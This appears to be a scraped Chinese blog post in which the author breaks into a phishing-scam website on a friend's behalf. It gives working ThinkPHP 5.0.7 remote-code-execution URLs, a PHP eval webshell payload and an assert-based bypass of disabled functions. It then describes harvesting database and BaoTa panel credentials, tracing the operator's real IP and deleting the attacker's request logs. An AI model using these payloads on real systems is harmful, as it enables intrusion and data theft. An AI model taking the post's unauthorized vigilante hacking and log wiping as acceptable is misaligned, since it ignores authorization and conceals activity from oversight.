3

记一次对钓鱼诈骗网站的测试_巡安似海 — 安全社区的技术博客_51CTO博客

 1 year ago
source link: https://blog.51cto.com/xunansec/5359505
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

记一次对钓鱼诈骗网站的测试

推荐 原创

巡安似海 2022-06-06 09:29:18 博主文章分类:技术文章 ©著作权

文章标签 网络安全 钓鱼执法 Think 文章分类 安全技术 网络/安全 阅读数181

一个学长前几天不幸在钓鱼网站中招被骗走一些资金,在联系有关部门前找到了我看看能不能获取到一些有用的信息以便于有关部门行动

外网对网站打点

在对网站进行初步信息收集后发现网站使用​​ThinkPHP5.0.7​​框架,直接找到​​ThinkPHP​​对应版本的Exp进行尝试:

http://www.hu*****.***/index.php?s=/index/\think\app/invokefunction&function=phpinfo&vars[0]=1 //执行phpinfo
记一次对钓鱼诈骗网站的测试_Think

成功弹出​​phpinfo​​,​​ThinkPHP​​的RCE漏洞没有修复,并且通过​​phpinfo​​可以看出服务器使用宝塔搭建,运行​​Windows​​系统,本想着接下来的事情就非常简单了,但是当我写​​Shell​​时遇到了困难:

http://www./index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=ye.php&vars[1][]=<?php eval($_POST['cmd']);?>

文件被成功写入,但是却直接输出在了页面中,查看源代码发现​​< >​​被转义为了​​HTML​​实体编码:

记一次对钓鱼诈骗网站的测试_Think_02

在尝试利用​​base64​​编码后再写入,发现依然被转义,直接命令执行试一试:

http://www.hu*****.***/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir

发现并没有出现回显,尝试反弹​​Shell​​也无功而返,这个时候感觉到​​system​​可能被禁用了,改用​​eval​​依旧无果,最后使用​​assert​​发现可以成功执行,直接构造​​Shell​​连接:

http://www./index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@eval($_POST[ye])

得到​​Shell​​后先尝试执行命令,但是命令依旧无法正常执行,尝试突破​​disables_function​​但失败了
这个时候思路转换一下,查看​​ThinkPHP​​框架的服务器配置文件​​/application/database.php​​得到​​MYSQL​​数据库账户

连接数据库:

记一次对钓鱼诈骗网站的测试_网络安全_04

查询后台管理员数据:

记一次对钓鱼诈骗网站的测试_网络安全_05

却发现md5无法解开,但是大致查看了数据库中的数据,到这里并没有发现什么有较大帮助的数据,因而并没有考虑继续死磕在后台账户上
接下来的主要重心应放在对于该站点管理员的信息收集上,先查看一下​​​ThinkPHP​​​框架中的日志记录文件​​​​/runtime/log/202107/05.log​​​​​在日志中发现​​system​​函数果然被禁用了:

记一次对钓鱼诈骗网站的测试_网络安全_07

与此同时也在日志中发现了一条刚才检查数据库时忽略掉的重要数据——后台管理员最后登陆IP:
记一次对钓鱼诈骗网站的测试_Think_09
翻阅前几日记录发现最后登陆​​IP​​都是​​101.78.*.*​​这个IP地址,怀疑这就是网站管理员​​IP​​地址,反馈给学长后查询了一下该​​IP​​,发现是香港的,心里一慌:这应该是挂了​​VP*​​了吧
结果不出所料:

记一次对钓鱼诈骗网站的测试_网络安全_10

接下来的工作陷入了僵局,翻阅​​ThinkPHP​​的日志后并没有发现其他IP的登陆数据,修改数据库中后台管理员账户密码,登录后台后也没有发现任何有用的信息,只有一些钓鱼文章的管理:

记一次对钓鱼诈骗网站的测试_Think_11

后来和一个大师傅交流了一下,大师傅建议查一下看宝塔中有没有留下有用信息,在​​C:/BtSoft/panel/data/default.db​​中找到了宝塔面板的数据文件,获取到宝塔的账户信息:
记一次对钓鱼诈骗网站的测试_钓鱼执法_12
同时也查阅了一下宝塔数据库中的log日志内容:

记一次对钓鱼诈骗网站的测试_钓鱼执法_13

但是却无法解出密码,这时可以通过覆盖db文件重新设置账户密码,但该方法需要重启面板,受限于我们目前的情况,这个办法很难实现
于是思路再次陷入了僵局中,睡了一觉第二天醒来想起宝塔面板会有请求记录日志,于是在​​C:/BtSoft/panel/logs/request/​​中找到了大量以​​json​​形式储存的请求信息

记一次对钓鱼诈骗网站的测试_钓鱼执法_14

打开时间较早的日志文件,果然有所突破(有可能是​​​代理​​​不稳定,在操作时突然挂掉了,导致真实​​IP​​的泄漏):

记一次对钓鱼诈骗网站的测试_Think_15

在查询​​175.167.*.*​​后,发现是辽宁沈阳的​​IP​​地址,用网上的工具进行大致定位反馈给学长
顺带将网站的源码、数据库、​​log​​日志文件进行打包取证,一并收集起来,最后再删掉我们在sh时留下的请求记录

记一次对钓鱼诈骗网站的测试_钓鱼执法_16

完事收工


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK